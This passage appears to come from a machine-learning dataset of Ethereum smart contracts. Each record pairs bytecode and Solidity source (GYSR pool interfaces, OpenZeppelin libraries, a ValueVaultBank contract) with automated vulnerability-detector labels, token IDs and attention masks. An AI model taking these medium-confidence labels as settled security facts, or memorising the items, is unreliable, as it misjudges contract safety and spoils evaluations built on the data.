5b6000600254600143034041446040519384526020840192909252600160a060020a03166c01000000000000000000000000026040808401919091526054830191909152607490910190519081900390206002819055829081151561198d57fe5b0692915050565b8154818355818115116119c0576003028160030283600052602060002091820191016119c09190611a54565b505050565b828054828255906000526020600020906003028101928215611a445760005260206000209160030282015b82811115611a44578254825473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039091161782556001808401549083015560028084015490830155600392830192909101906119f0565b50611a50929150611a54565b5090565b611a9391905b80821115611a5057805473ffffffffffffffffffffffffffffffffffffffff191681556000600182018190556002820155600301611a5a565b905600a165627a7a7230582071f5bdc27c2dd1030c41676c7bf01c77845e1c51b9a7969c6a2dc4d6294de3b70029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'weak-prng', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'controlled-array-length', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2629, 4783, 19317, 2692, 23499, 2850, 21486, 16932, 2094, 16576, 2050, 22025, 2497, 2683, 2063, 2581, 19797, 2683, 2497, 19481, 2581, 2575, 3207, 2620, 23499, 18827, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2539, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 2219, 3085, 1008, 1030, 16475, 1996, 2219, 3085, 3206, 2038, 2019, 3954, 4769, 1010, 1998, 3640, 3937, 20104, 2491, 1008, 4972, 1010, 2023, 21934, 24759, 14144, 1996, 7375, 1997, 1000, 5310, 6656, 2015, 1000, 1012, 1008, 1013, 3206, 2219, 3085, 1063, 4769, 2270, 3954, 1025, 2724, 6095, 6494, 3619, 7512, 5596, 1006, 4769, 25331, 3025, 12384, 2121, 1010, 4769, 25331, 2047, 12384, 2121, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 1996, 2219, 3085, 9570, 2953, 4520, 1996, 2434, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,812
0x95bE9BC8F773D154E1aaFdBF9d1Ae30B69887702
/* OwnerController https://github.com/gysr-io/core SPDX-License-Identifier: MIT */ pragma solidity 0.8.4; /** * @title Owner controller * * @notice this base contract implements an owner-controller access model. * * @dev the contract is an adapted version of the OpenZeppelin Ownable contract. * It allows the owner to designate an additional account as the controller to * perform restricted operations. * * Other changes include supporting role verification with a require method * in addition to the modifier option, and removing some unneeded functionality. * * Original contract here: * https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol */ contract OwnerController { address private _owner; address private _controller; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); event ControlTransferred( address indexed previousController, address indexed newController ); constructor() { _owner = msg.sender; _controller = msg.sender; emit OwnershipTransferred(address(0), _owner); emit ControlTransferred(address(0), _owner); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Returns the address of the current controller. */ function controller() public view returns (address) { return _controller; } /** * @dev Modifier that throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == msg.sender, "oc1"); _; } /** * @dev Modifier that throws if called by any account other than the controller. */ modifier onlyController() { require(_controller == msg.sender, "oc2"); _; } /** * @dev Throws if called by any account other than the owner. */ function requireOwner() internal view { require(_owner == msg.sender, "oc1"); } /** * @dev Throws if called by any account other than the controller. */ function requireController() internal view { require(_controller == msg.sender, "oc2"); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). This can * include renouncing ownership by transferring to the zero address. * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual { requireOwner(); require(newOwner != address(0), "oc3"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } /** * @dev Transfers control of the contract to a new account (`newController`). * Can only be called by the owner. */ function transferControl(address newController) public virtual { requireOwner(); require(newController != address(0), "oc4"); emit ControlTransferred(_controller, newController); _controller = newController; } } /* PoolInfo https://github.com/gysr-io/core SPDX-License-Identifier: MIT */ pragma solidity 0.8.4; import "../interfaces/IPool.sol"; import "../interfaces/IStakingModule.sol"; import "../interfaces/IRewardModule.sol"; /** * @title Pool info library * * @notice this implements the Pool info library, which provides read-only * convenience functions to query additional information and metadata * about the core Pool contract. */ library PoolInfo { /** * @notice get information about the underlying staking and reward modules * @param pool address of Pool contract * @return staking module address * @return reward module address * @return staking module type * @return reward module type */ function modules(address pool) public view returns ( address, address, address, address ) { IPool p = IPool(pool); IStakingModule s = IStakingModule(p.stakingModule()); IRewardModule r = IRewardModule(p.rewardModule()); return (address(s), address(r), s.factory(), r.factory()); } } /* IEvents https://github.com/gysr-io/core SPDX-License-Identifier: MIT */ pragma solidity 0.8.4; /** * @title GYSR event system * * @notice common interface to define GYSR event system */ interface IEvents { // staking event Staked( address indexed user, address indexed token, uint256 amount, uint256 shares ); event Unstaked( address indexed user, address indexed token, uint256 amount, uint256 shares ); event Claimed( address indexed user, address indexed token, uint256 amount, uint256 shares ); // rewards event RewardsDistributed( address indexed user, address indexed token, uint256 amount, uint256 shares ); event RewardsFunded( address indexed token, uint256 amount, uint256 shares, uint256 timestamp ); event RewardsUnlocked(address indexed token, uint256 shares); event RewardsExpired( address indexed token, uint256 amount, uint256 shares, uint256 timestamp ); // gysr event GysrSpent(address indexed user, uint256 amount); event GysrVested(address indexed user, uint256 amount); event GysrWithdrawn(uint256 amount); } /* IPool https://github.com/gysr-io/core SPDX-License-Identifier: MIT */ pragma solidity 0.8.4; /** * @title Pool interface * * @notice this defines the core Pool contract interface */ interface IPool { /** * @return staking tokens for Pool */ function stakingTokens() external view returns (address[] memory); /** * @return reward tokens for Pool */ function rewardTokens() external view returns (address[] memory); /** * @return staking balances for user */ function stakingBalances(address user) external view returns (uint256[] memory); /** * @return total staking balances for Pool */ function stakingTotals() external view returns (uint256[] memory); /** * @return reward balances for Pool */ function rewardBalances() external view returns (uint256[] memory); /** * @return GYSR usage ratio for Pool */ function usage() external view returns (uint256); /** * @return address of staking module */ function stakingModule() external view returns (address); /** * @return address of reward module */ function rewardModule() external view returns (address); /** * @notice stake asset and begin earning rewards * @param amount number of tokens to unstake * @param stakingdata data passed to staking module * @param rewarddata data passed to reward module */ function stake( uint256 amount, bytes calldata stakingdata, bytes calldata rewarddata ) external; /** * @notice unstake asset and claim rewards * @param amount number of tokens to unstake * @param stakingdata data passed to staking module * @param rewarddata data passed to reward module */ function unstake( uint256 amount, bytes calldata stakingdata, bytes calldata rewarddata ) external; /** * @notice claim rewards without unstaking * @param amount number of tokens to claim against * @param stakingdata data passed to staking module * @param rewarddata data passed to reward module */ function claim( uint256 amount, bytes calldata stakingdata, bytes calldata rewarddata ) external; /** * @notice method called ad hoc to update user accounting */ function update() external; /** * @notice method called ad hoc to clean up and perform additional accounting */ function clean() external; /** * @return gysr balance available for withdrawal */ function gysrBalance() external view returns (uint256); /** * @notice withdraw GYSR tokens applied during unstaking * @param amount number of GYSR to withdraw */ function withdraw(uint256 amount) external; } /* IRewardModule https://github.com/gysr-io/core SPDX-License-Identifier: MIT */ pragma solidity 0.8.4; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "./IEvents.sol"; import "../OwnerController.sol"; /** * @title Reward module interface * * @notice this contract defines the common interface that any reward module * must implement to be compatible with the modular Pool architecture. */ abstract contract IRewardModule is OwnerController, IEvents { // constants uint256 public constant DECIMALS = 18; /** * @return array of reward tokens */ function tokens() external view virtual returns (address[] memory); /** * @return array of reward token balances */ function balances() external view virtual returns (uint256[] memory); /** * @return GYSR usage ratio for reward module */ function usage() external view virtual returns (uint256); /** * @return address of module factory */ function factory() external view virtual returns (address); /** * @notice perform any necessary accounting for new stake * @param account address of staking account * @param user address of user * @param shares number of new shares minted * @param data addtional data * @return amount of gysr spent * @return amount of gysr vested */ function stake( address account, address user, uint256 shares, bytes calldata data ) external virtual returns (uint256, uint256); /** * @notice reward user and perform any necessary accounting for unstake * @param account address of staking account * @param user address of user * @param shares number of shares burned * @param data additional data * @return amount of gysr spent * @return amount of gysr vested */ function unstake( address account, address user, uint256 shares, bytes calldata data ) external virtual returns (uint256, uint256); /** * @notice reward user and perform and necessary accounting for existing stake * @param account address of staking account * @param user address of user * @param shares number of shares being claimed against * @param data addtional data * @return amount of gysr spent * @return amount of gysr vested */ function claim( address account, address user, uint256 shares, bytes calldata data ) external virtual returns (uint256, uint256); /** * @notice method called by anyone to update accounting * @param user address of user for update * @dev will only be called ad hoc and should not contain essential logic */ function update(address user) external virtual; /** * @notice method called by owner to clean up and perform additional accounting * @dev will only be called ad hoc and should not contain any essential logic */ function clean() external virtual; } /* IStakingModule https://github.com/gysr-io/core SPDX-License-Identifier: MIT */ pragma solidity 0.8.4; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "./IEvents.sol"; import "../OwnerController.sol"; /** * @title Staking module interface * * @notice this contract defines the common interface that any staking module * must implement to be compatible with the modular Pool architecture. */ abstract contract IStakingModule is OwnerController, IEvents { // constants uint256 public constant DECIMALS = 18; /** * @return array of staking tokens */ function tokens() external view virtual returns (address[] memory); /** * @notice get balance of user * @param user address of user * @return balances of each staking token */ function balances(address user) external view virtual returns (uint256[] memory); /** * @return address of module factory */ function factory() external view virtual returns (address); /** * @notice get total staked amount * @return totals for each staking token */ function totals() external view virtual returns (uint256[] memory); /** * @notice stake an amount of tokens for user * @param user address of user * @param amount number of tokens to stake * @param data additional data * @return address of staking account * @return number of shares minted for stake */ function stake( address user, uint256 amount, bytes calldata data ) external virtual returns (address, uint256); /** * @notice unstake an amount of tokens for user * @param user address of user * @param amount number of tokens to unstake * @param data additional data * @return address of staking account * @return number of shares burned for unstake */ function unstake( address user, uint256 amount, bytes calldata data ) external virtual returns (address, uint256); /** * @notice quote the share value for an amount of tokens without unstaking * @param user address of user * @param amount number of tokens to claim with * @param data additional data * @return address of staking account * @return number of shares that the claim amount is worth */ function claim( address user, uint256 amount, bytes calldata data ) external virtual returns (address, uint256); /** * @notice method called by anyone to update accounting * @param user address of user for update * @dev will only be called ad hoc and should not contain essential logic */ function update(address user) external virtual; /** * @notice method called by owner to clean up and perform additional accounting * @dev will only be called ad hoc and should not contain any essential logic */ function clean() external virtual; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
0x7395be9bc8f773d154e1aafdbf9d1ae30b6988770230146080604052600436106100355760003560e01c8063a8ee49fe1461003a575b600080fd5b61004d6100483660046102ad565b61008e565b6040805173ffffffffffffffffffffffffffffffffffffffff9586168152938516602085015291841683830152909216606082015290519081900360800190f35b600080600080600085905060008173ffffffffffffffffffffffffffffffffffffffff1663504b82bf6040518163ffffffff1660e01b815260040160206040518083038186803b1580156100e157600080fd5b505afa1580156100f5573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061011991906102d0565b905060008273ffffffffffffffffffffffffffffffffffffffff1663e70c20d96040518163ffffffff1660e01b815260040160206040518083038186803b15801561016357600080fd5b505afa158015610177573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061019b91906102d0565b905081818373ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156101e557600080fd5b505afa1580156101f9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061021d91906102d0565b8373ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561026357600080fd5b505afa158015610277573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061029b91906102d0565b96509650965096505050509193509193565b6000602082840312156102be578081fd5b81356102c9816102e8565b9392505050565b6000602082840312156102e1578081fd5b81516102c9815b73ffffffffffffffffffffffffffffffffffffffff8116811461030a57600080fd5b5056fea2646970667358221220bd4ead3dbb8e8fb82f6922cccdd5a002c0c464024489140965e3bdc2f3d0412e64736f6c63430008040033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2629, 4783, 2683, 9818, 2620, 2546, 2581, 2581, 29097, 16068, 2549, 2063, 2487, 11057, 2546, 18939, 2546, 2683, 2094, 2487, 6679, 14142, 2497, 2575, 2683, 2620, 2620, 2581, 19841, 2475, 1013, 1008, 3954, 8663, 13181, 10820, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 1043, 7274, 2099, 1011, 22834, 1013, 4563, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1022, 1012, 1018, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 3954, 11486, 1008, 1008, 1030, 5060, 2023, 2918, 3206, 22164, 2019, 3954, 1011, 11486, 3229, 2944, 1012, 1008, 1008, 1030, 16475, 1996, 3206, 2003, 2019, 5967, 2544, 1997, 1996, 2330, 4371, 27877, 2378, 2219, 3085, 3206, 1012, 1008, 2009, 4473, 1996, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,813
0x95beaeb2701736dd9bf1930d569231e78ca386ec
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; // File: @openzeppelin/contracts/token/ERC20/IERC20.sol /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/math/SafeMath.sol /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/utils/Address.sol /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: contracts/vaults/strategies/IStrategy.sol interface IStrategy { function approve(IERC20 _token) external; function approveForSpender(IERC20 _token, address spender) external; // Deposit tokens to a farm to yield more tokens. function deposit(address _vault, uint256 _amount) external; // Claim farming tokens function claim(address _vault) external; // The vault request to harvest the profit function harvest(uint256 _bankPoolId) external; // Withdraw the principal from a farm. function withdraw(address _vault, uint256 _amount) external; // Target farming token of this strategy. function getTargetToken() external view returns(address); function balanceOf(address _vault) external view returns (uint256); function pendingReward(address _vault) external view returns (uint256); function expectedAPY(address _vault) external view returns (uint256); function governanceRescueToken(IERC20 _token) external returns (uint256); } // File: contracts/vaults/ValueVaultBank.sol interface IValueVaultMaster { function minorPool() view external returns(address); function performanceReward() view external returns(address); function minStakeTimeToClaimVaultReward() view external returns(uint256); } interface IValueVault { function balanceOf(address account) view external returns(uint256); function getStrategyCount() external view returns(uint256); function depositAvailable() external view returns(bool); function strategies(uint256 _index) view external returns(IStrategy); function mintByBank(IERC20 _token, address _to, uint256 _amount) external; function burnByBank(IERC20 _token, address _account, uint256 _amount) external; function harvestAllStrategies(uint256 _bankPoolId) external; function harvestStrategy(IStrategy _strategy, uint256 _bankPoolId) external; } interface IValueMinorPool { function depositOnBehalf(address farmer, uint256 _pid, uint256 _amount, address _referrer) external; function withdrawOnBehalf(address farmer, uint256 _pid, uint256 _amount) external; } interface IFreeFromUpTo { function freeFromUpTo(address from, uint256 value) external returns (uint256 freed); } contract ValueVaultBank { using SafeMath for uint256; using SafeERC20 for IERC20; IFreeFromUpTo public constant chi = IFreeFromUpTo(0x0000000000004946c0e9F43F4Dee607b0eF1fA1c); modifier discountCHI { uint256 gasStart = gasleft(); _; uint256 gasSpent = 21000 + gasStart - gasleft() + 16 * msg.data.length; chi.freeFromUpTo(msg.sender, (gasSpent + 14154) / 41130); } address public governance; IValueVaultMaster public vaultMaster; // Info of each pool. struct PoolInfo { IERC20 token; // Address of token contract. IValueVault vault; // Address of vault contract. uint256 minorPoolId; // minorPool's subpool id uint256 startTime; uint256 individualCap; // 0 to disable uint256 totalCap; // 0 to disable } // Info of each pool. mapping(uint256 => PoolInfo) public poolMap; // By poolId struct Staker { uint256 stake; uint256 payout; uint256 total_out; } mapping(uint256 => mapping(address => 